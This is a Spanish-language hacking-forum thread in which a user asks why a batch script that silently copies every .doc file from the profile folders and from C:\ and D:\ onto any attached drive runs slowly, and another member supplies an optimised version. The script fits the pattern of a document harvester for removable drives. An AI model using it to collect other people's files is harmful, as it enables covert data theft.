Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: asdexiva en 6 Julio 2014, 21:03 pm



Título: ciclo for alenta copy
Publicado por: asdexiva en 6 Julio 2014, 21:03 pm
por que se alenta asta al punto de trabarse no ay forma de quitar la lentitud o como puedo mejorar el codigo gracias

Código:
@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Documents\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Desktop\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Escritorio\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "C:\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "D:\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))


al contrario si lo hago sin fors  es mucho mas rapido el proceso
Código:
@echo off




REM -----------E-------------------
REM ARCHIVOS DOC WORD
copy "%userprofile%\Mis documentos\*.doc" "E:\data"
copy "%userprofile%\escritorio\*.doc" "E:\data"
copy "%userprofile%\Desktop\*.doc" "E:\data"
copy "%userprofile%\Documents\*.doc" "E:\data"
copy "C:\*.doc" "E:\data"
copy "D:\*.doc" "E:\data"


REM ARCHIVOS

REM ---------F--------------------
copy "%userprofile%\Mis documentos\*.doc" "F:\data"
copy "%userprofile%\escritorio\*.doc" "F:\data"
copy "C:\*.doc" "F:\data"
copy "D:\*.doc" "F:\data

REM -------G----------------

copy "%userprofile%\Mis documentos\*.doc" "G:\data"
copy "%userprofile%\escritorio\*.doc" "G:\data"
copy "C:\*.doc" "G:\data"
copy "D:\*.doc" "G:\data

REM -------H-----------

copy "%userprofile%\Mis documentos\*.doc" "H:\data"
copy "%userprofile%\escritorio\*.doc" "H:\data"
copy "C:\*.doc" "H:\data"
copy "D:\*.doc" "H:\data

REM ----------I--------

copy "%userprofile%\Mis documentos\*.doc" "I:\data"
copy "%userprofile%\escritorio\*.doc" "I:\data"
copy "C:\*.doc" "I:\data"
copy "D:\*.doc" "I:\data
REM ------------J----------

copy "%userprofile%\Mis documentos\*.doc" "J:\data"
copy "%userprofile%\escritorio\*.doc" "J:\data"
copy "C:\*.doc" "J:\data"
copy "D:\*.doc" "J:\data


REM -------------------K------------------

copy "%userprofile%\Mis documentos\*.doc" "K:\data"
copy "%userprofile%\escritorio\*.doc" "K:\data"
copy "C:\*.doc" "K:\data"
copy "D:\*.doc" "K:\data

REM -------------------L------------------

copy "%userprofile%\Mis documentos\*.doc" "L:\data"
copy "%userprofile%\escritorio\*.doc" "L:\data"
copy "C:\*.doc" "L:\data"
copy "D:\*.doc" "L:\data

REM -------------------W------------------

copy "%userprofile%\Mis documentos\*.doc" "W:\data"
copy "%userprofile%\escritorio\*.doc" "W:\data"
copy "C:\*.doc" "W:\data"
copy "D:\*.doc" "W:\data






Título: Re: ciclo for alenta copy
Publicado por: Eleкtro en 6 Julio 2014, 23:30 pm
Los búcles no ralentizan el proceso de copiado.

Ahora bien, en tu caso podría deberse a que estás intentando forzar el copiado sin verificar primero si la unidad existe o no... así que haces un sin fín de insrucciones innecesarias que pueden tomar bastante tiempo en procesarse según la cantidad de archivos, intentando copiar a unidades inexistentes.

Y aparte de eso, estás repitiendo el búcle de la variable DRIVES de una forma innecesaria.

Prueba así:
Código
  1. @echo off
  2.  
  3. SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
  4.  
  5. FOR %%# IN (%DRIVES%) DO (
  6.  
  7. If Exist "%%#:\" (
  8.  
  9. FOR /R "%userprofile%\Mis documentos\" %%a IN ("*.doc") DO (
  10. copy /y "%%a" "%%#:\data\"
  11. )
  12.  
  13. FOR /R "%userprofile%\Documents\" %%a IN ("*.doc") DO (
  14. copy /y "%%a" "%%#:\data\"
  15. )
  16.  
  17. Rem etc...
  18.  
  19. )
  20. )
  21.  
  22. Pause&Exit

Saludos


Título: Re: ciclo for alenta copy
Publicado por: asdexiva en 7 Julio 2014, 18:09 pm
Los búcles no ralentizan el proceso de copiado.

Ahora bien, en tu caso podría deberse a que estás intentando forzar el copiado sin verificar primero si la unidad existe o no... así que haces un sin fín de insrucciones innecesarias que pueden tomar bastante tiempo en procesarse según la cantidad de archivos, intentando copiar a unidades inexistentes.

Y aparte de eso, estás repitiendo el búcle de la variable DRIVES de una forma innecesaria.

Prueba así:
Código
  1. @echo off
  2.  
  3. SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
  4.  
  5. FOR %%# IN (%DRIVES%) DO (
  6.  
  7. If Exist "%%#:\" (
  8.  
  9. FOR /R "%userprofile%\Mis documentos\" %%a IN ("*.doc") DO (
  10. copy /y "%%a" "%%#:\data\"
  11. )
  12.  
  13. FOR /R "%userprofile%\Documents\" %%a IN ("*.doc") DO (
  14. copy /y "%%a" "%%#:\data\"
  15. )
  16.  
  17. Rem etc...
  18.  
  19. )
  20. )
  21.  
  22. Pause&Exit

Saludos

gracias elektro se me habia ocurrido lo del if pero no sabia como implementarlo en un for gracias